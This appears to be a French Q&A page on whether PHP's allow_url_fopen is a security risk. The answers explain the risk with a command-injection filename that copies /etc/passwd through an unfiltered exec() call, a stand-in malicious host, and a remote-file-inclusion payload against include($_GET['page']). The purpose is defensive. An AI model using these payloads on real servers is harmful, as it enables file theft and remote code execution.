Récemment, je lisais n article sur file_get_contents
et HTTPS .
Une partie qui a attiré mon attention est:
Bien sûr, le paramètre allow_url_fopen comporte également un risque distinct d'activer les attaques d'exécution de fichiers à distance, de contournement du contrôle d'accès ou de divulgation d'informations. Si un attaquant peut injecter l'URI distant de son choix dans une fonction de fichier, il pourrait manipuler une application pour exécuter, stocker ou afficher le fichier récupéré, y compris ceux provenant de toute source distante non fiable. Il convient également de garder à l'esprit que ces récupérations de fichiers proviendraient de localhost et seraient donc capables de contourner les contrôles d'accès en fonction des restrictions du serveur local. En tant que tel, bien que allow_url_fopen soit activé par défaut, vous devez le désactiver sans hésitation pour maximiser la sécurité.
J'ai 2 questions:
allow_url_fopen
et comment le ferait-il?allow_url_fopen
toujours un risque pour la sécurité ou uniquement lorsque vous acceptez l'entrée utilisateur dans le wrapper fopen?Autres liens intéressants
allow_url_fopen
Qui me permet de télécharger votre fichier de mot de passe:"http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
allow_url_fopen
Pour télécharger le fichier et le stocke sous "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;"
. J'ai maintenant réussi à injecter une commande dans le nom de fichier.exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
exec
exécute réellement? Si vous n'avez pas filtré le nom de fichier, il exécute ce qui suit sur le shell:magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg
Puisque ;
Est une commande délimitée sur le Shell, celle-ci sera automatiquement divisée par le Shell en les commandes distinctes suivantes:
magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg
Et maintenant, je vais simplement dans http://yourapp.com/downloads/passwords.txt
Et je télécharge votre fichier de mot de passe. Bien sûr, je peux faire tout ce que je veux, car j'exécute des commandes en tant que serveur Web sur votre système.
Cela dépend de toi! Comment avez-vous conçu vos applications et êtes-vous considéré comme la sécurité tout au long du cycle de vie du développement logiciel?
Considérez le code non sécurisé ci-dessous qui charge les pages Web en fonction du paramètre de demande (page):
<?php
include($_GET['page']);
?>
Et considérons maintenant qu'un attaquant inclut un code malveillant PHP en utilisant:
?page=http://example.com/badcode-php.txt
Il peut alors contourner toutes les mesures de sécurité de votre site et faire n'importe quoi (accéder aux fichiers locaux, télécharger un autre fichier, etc.).
Il est donc recommandé de désactiver allow_urL_fopen
et allow_url_include
pour minimiser l'attaque d'exécution de fichiers à distance.